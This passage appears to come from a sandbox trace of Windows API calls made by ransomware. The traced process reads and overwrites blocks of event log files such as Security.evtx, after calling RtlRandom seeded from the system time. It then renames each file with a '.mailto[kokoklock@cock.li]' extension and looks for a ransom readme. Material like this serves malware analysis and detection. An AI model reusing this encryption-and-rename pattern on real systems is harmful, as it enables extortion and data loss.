0x33effb8 [0064.803] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479ad8) returned 1 [0064.803] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f00d0) returned 1 [0064.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0064.803] SetFilePointerEx (in: hFile=0x7a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.803] ReadFile (in: hFile=0x7a8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xadaf870, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xadaf870*=0x4096, lpOverlapped=0x0) returned 1 [0064.805] SetFilePointerEx (in: hFile=0x7a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcd70 [0064.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0064.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33eff18 [0064.805] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eff18) returned 1 [0064.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0064.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f0058 [0064.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00a8 [0064.806] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f00a8) returned 1 [0064.806] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0064.806] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcd70) returned 1 [0064.806] WriteFile (in: hFile=0x7a8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xadaf870, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xadaf870*=0x4096, lpOverlapped=0x0) returned 1 [0064.806] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0064.806] SetFilePointerEx (in: hFile=0x7a8, liDistanceToMove=0x812c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.806] ReadFile (in: hFile=0x7a8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xadaf870, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xadaf870*=0x4096, lpOverlapped=0x0) returned 1 [0064.807] SetFilePointerEx (in: hFile=0x7a8, liDistanceToMove=0x812c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcf20 [0064.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0064.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00a8 [0064.808] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f00a8) returned 1 [0064.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0064.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33eff18 [0064.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00a8 [0064.808] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f00a8) returned 1 [0064.808] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0064.808] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcf20) returned 1 [0064.808] WriteFile (in: hFile=0x7a8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xadaf870, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xadaf870*=0x4096, lpOverlapped=0x0) returned 1 [0064.808] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0064.808] SetFilePointerEx (in: hFile=0x7a8, liDistanceToMove=0xfcf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.809] ReadFile (in: hFile=0x7a8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xadaf870, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xadaf870*=0x4096, lpOverlapped=0x0) returned 1 [0064.810] SetFilePointerEx (in: hFile=0x7a8, liDistanceToMove=0xfcf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.810] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0064.810] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479e98 [0064.810] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00a8 [0064.810] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f00a8) returned 1 [0064.810] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0064.811] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00a8 [0064.811] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00d0 [0064.811] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f00d0) returned 1 [0064.811] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e98) returned 1 [0064.811] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0064.811] WriteFile (in: hFile=0x7a8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xadaf870, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xadaf870*=0x4096, lpOverlapped=0x0) returned 1 [0064.811] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0064.811] WriteFile (in: hFile=0x7a8, lpBuffer=0x33f0058*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xadaf8cc, lpOverlapped=0x0 | out: lpBuffer=0x33f0058*, lpNumberOfBytesWritten=0xadaf8cc*=0x20, lpOverlapped=0x0) returned 1 [0064.811] WriteFile (in: hFile=0x7a8, lpBuffer=0x33eff18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xadaf8cc, lpOverlapped=0x0 | out: lpBuffer=0x33eff18*, lpNumberOfBytesWritten=0xadaf8cc*=0x20, lpOverlapped=0x0) returned 1 [0064.811] WriteFile (in: hFile=0x7a8, lpBuffer=0x33f00a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xadaf8cc, lpOverlapped=0x0 | out: lpBuffer=0x33f00a8*, lpNumberOfBytesWritten=0xadaf8cc*=0x20, lpOverlapped=0x0) returned 1 [0064.811] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0064.811] WriteFile (in: hFile=0x7a8, lpBuffer=0x33effb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xadaf8d4, lpOverlapped=0x0 | out: lpBuffer=0x33effb8*, lpNumberOfBytesWritten=0xadaf8d4*=0x8, lpOverlapped=0x0) returned 1 [0064.811] WriteFile (in: hFile=0x7a8, lpBuffer=0xadaf8ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xadaf8d4, lpOverlapped=0x0 | out: lpBuffer=0xadaf8ec*, lpNumberOfBytesWritten=0xadaf8d4*=0x4, lpOverlapped=0x0) returned 1 [0064.811] WriteFile (in: hFile=0x7a8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xadaf8d4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xadaf8d4*=0x4, lpOverlapped=0x0) returned 1 [0064.812] WriteFile (in: hFile=0x7a8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xadaf8d4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xadaf8d4*=0x6c, lpOverlapped=0x0) returned 1 [0064.812] WriteFile (in: hFile=0x7a8, lpBuffer=0x33effe0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xadaf8d4, lpOverlapped=0x0 | out: lpBuffer=0x33effe0*, lpNumberOfBytesWritten=0xadaf8d4*=0x20, lpOverlapped=0x0) returned 1 [0064.812] WriteFile (in: hFile=0x7a8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xadaf8d4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xadaf8d4*=0x4, lpOverlapped=0x0) returned 1 [0064.812] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33effe0) returned 1 [0064.812] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0080) returned 1 [0064.812] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33effb8) returned 1 [0064.812] CloseHandle (hObject=0x7a8) returned 1 [0066.426] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x34bef18 [0066.426] wcscpy (in: _Dest=0x34bef18, _Source="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" [0066.426] wcscat (in: _Dest=0x34bef18, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0066.426] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0066.427] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0066.427] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34bef18) returned 1 [0066.427] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0066.427] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3434168 [0066.427] wcscpy (in: _Dest=0x3434168, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0066.427] wcscat (in: _Dest=0x3434168, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0066.427] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0066.427] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434168) returned 1 [0066.427] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cca70) returned 1 [0066.428] RtlExitUserThread (Status=0x1) Thread: id = 196 os_tid = 0x1188 [0063.450] GetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 0x20 [0064.750] SetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx", dwFileAttributes=0x20) returned 1 [0064.750] CreateFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0064.750] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0xae2f7fc | out: lpFileSize=0xae2f7fc*=1118208) returned 1 [0064.750] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x110ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.750] ReadFile (in: hFile=0x3c0, lpBuffer=0xae2f7d0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xae2f7cc, lpOverlapped=0x0 | out: lpBuffer=0xae2f7d0*, lpNumberOfBytesRead=0xae2f7cc*=0x4, lpOverlapped=0x0) returned 1 [0064.752] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.752] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efdd8 [0064.752] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efe28 [0064.752] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efae0 [0064.752] NtQuerySystemTime (in: CurrentTime=0xae2f7a8 | out: CurrentTime=0xae2f7a8*=132121176226434041) returned 0x0 [0064.752] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0xfec97bb [0064.752] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0xc45bf933 [0064.752] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0x5125bf91 [0064.752] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0x4cc84486 [0064.752] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0x1f351e4f [0064.752] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0x5d78d85a [0064.752] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0xd7ea41f1 [0064.752] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0xf5590478 [0064.752] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0xdd137a89 [0064.752] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0x49078d7 [0064.752] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0xe426665 [0064.752] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0x6cf2d146 [0064.752] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0x8a11952d [0064.752] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0x6ac7a02f [0064.752] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0xc12589cb [0064.752] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0x79a7f8dd [0064.752] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0x8c39f36c [0064.752] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0xaba5d7de [0064.752] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0xcae41da7 [0064.752] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0x1bef3dc [0064.752] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0xd886a9b2 [0064.753] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0x9fe4e6cd [0064.753] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0x1d095a82 [0064.753] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0xdf0fb153 [0064.753] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0x777e03c7 [0064.753] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0x85220bed [0064.753] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0xd1391547 [0064.753] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0xa1e111ca [0064.753] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0xf8516395 [0064.753] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0x79cf9d18 [0064.753] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0xf7a4dc2c [0064.753] RtlRandom (in: Seed=0xae2f7b4 | out: Seed=0xae2f7b4) returned 0x7f2123e0 [0064.761] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efb08 [0064.763] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0064.763] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33eff18 [0064.763] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0064.763] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efdd8) returned 1 [0064.763] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0064.763] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.764] ReadFile (in: hFile=0x3c0, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xae2f768, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xae2f768*=0x4096, lpOverlapped=0x0) returned 1 [0064.765] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.765] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0064.765] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0064.765] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efdd8 [0064.765] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efdd8) returned 1 [0064.765] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0064.766] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efdd8 [0064.766] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f0058 [0064.766] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0058) returned 1 [0064.766] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0064.766] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0064.766] WriteFile (in: hFile=0x3c0, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xae2f768, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xae2f768*=0x4096, lpOverlapped=0x0) returned 1 [0064.766] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0064.766] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x893ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.766] ReadFile (in: hFile=0x3c0, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xae2f768, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xae2f768*=0x4096, lpOverlapped=0x0) returned 1 [0064.767] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x893ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.767] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd430 [0064.767] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479e20 [0064.767] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33eff40 [0064.767] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eff40) returned 1 [0064.768] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0064.768] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33eff40 [0064.768] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f0148 [0064.768] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0148) returned 1 [0064.768] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e20) returned 1 [0064.768] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd430) returned 1 [0064.768] WriteFile (in: hFile=0x3c0, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xae2f768, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xae2f768*=0x4096, lpOverlapped=0x0) returned 1 [0064.768] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0064.768] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x10cf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.768] ReadFile (in: hFile=0x3c0, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xae2f768, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xae2f768*=0x4096, lpOverlapped=0x0) returned 1 [0064.769] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x10cf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.769] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcf20 [0064.769] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0064.769] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33eff90 [0064.769] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eff90) returned 1 [0064.769] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0064.769] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33eff90 [0064.769] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f0058 [0064.769] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0058) returned 1 [0064.769] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0064.770] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcf20) returned 1 [0064.770] WriteFile (in: hFile=0x3c0, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xae2f768, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xae2f768*=0x4096, lpOverlapped=0x0) returned 1 [0064.770] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0064.770] WriteFile (in: hFile=0x3c0, lpBuffer=0x33efdd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xae2f7c4, lpOverlapped=0x0 | out: lpBuffer=0x33efdd8*, lpNumberOfBytesWritten=0xae2f7c4*=0x20, lpOverlapped=0x0) returned 1 [0064.770] WriteFile (in: hFile=0x3c0, lpBuffer=0x33eff40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xae2f7c4, lpOverlapped=0x0 | out: lpBuffer=0x33eff40*, lpNumberOfBytesWritten=0xae2f7c4*=0x20, lpOverlapped=0x0) returned 1 [0064.770] WriteFile (in: hFile=0x3c0, lpBuffer=0x33eff90*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xae2f7c4, lpOverlapped=0x0 | out: lpBuffer=0x33eff90*, lpNumberOfBytesWritten=0xae2f7c4*=0x20, lpOverlapped=0x0) returned 1 [0064.770] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0064.770] WriteFile (in: hFile=0x3c0, lpBuffer=0x33eff18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xae2f7cc, lpOverlapped=0x0 | out: lpBuffer=0x33eff18*, lpNumberOfBytesWritten=0xae2f7cc*=0x8, lpOverlapped=0x0) returned 1 [0064.770] WriteFile (in: hFile=0x3c0, lpBuffer=0xae2f7e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xae2f7cc, lpOverlapped=0x0 | out: lpBuffer=0xae2f7e4*, lpNumberOfBytesWritten=0xae2f7cc*=0x4, lpOverlapped=0x0) returned 1 [0064.770] WriteFile (in: hFile=0x3c0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xae2f7cc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xae2f7cc*=0x4, lpOverlapped=0x0) returned 1 [0064.770] WriteFile (in: hFile=0x3c0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xae2f7cc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xae2f7cc*=0x6c, lpOverlapped=0x0) returned 1 [0064.770] WriteFile (in: hFile=0x3c0, lpBuffer=0x33efe28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xae2f7cc, lpOverlapped=0x0 | out: lpBuffer=0x33efe28*, lpNumberOfBytesWritten=0xae2f7cc*=0x20, lpOverlapped=0x0) returned 1 [0064.770] WriteFile (in: hFile=0x3c0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xae2f7cc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xae2f7cc*=0x4, lpOverlapped=0x0) returned 1 [0064.771] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efe28) returned 1 [0064.771] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efb08) returned 1 [0064.771] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eff18) returned 1 [0064.771] CloseHandle (hObject=0x3c0) returned 1 [0066.423] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6e) returned 0x3479970 [0066.423] wcscpy (in: _Dest=0x3479970, _Source="C:\\Logs\\Security.evtx" | out: _Dest="C:\\Logs\\Security.evtx") returned="C:\\Logs\\Security.evtx" [0066.423] wcscat (in: _Dest=0x3479970, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Security.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Security.evtx.mailto[kokoklock@cock.li].d0e731" [0066.423] MoveFileW (lpExistingFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), lpNewFileName="C:\\Logs\\Security.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\security.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0066.424] SetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0066.424] RtlFreeHeap (HeapHandle=0x33c0000, 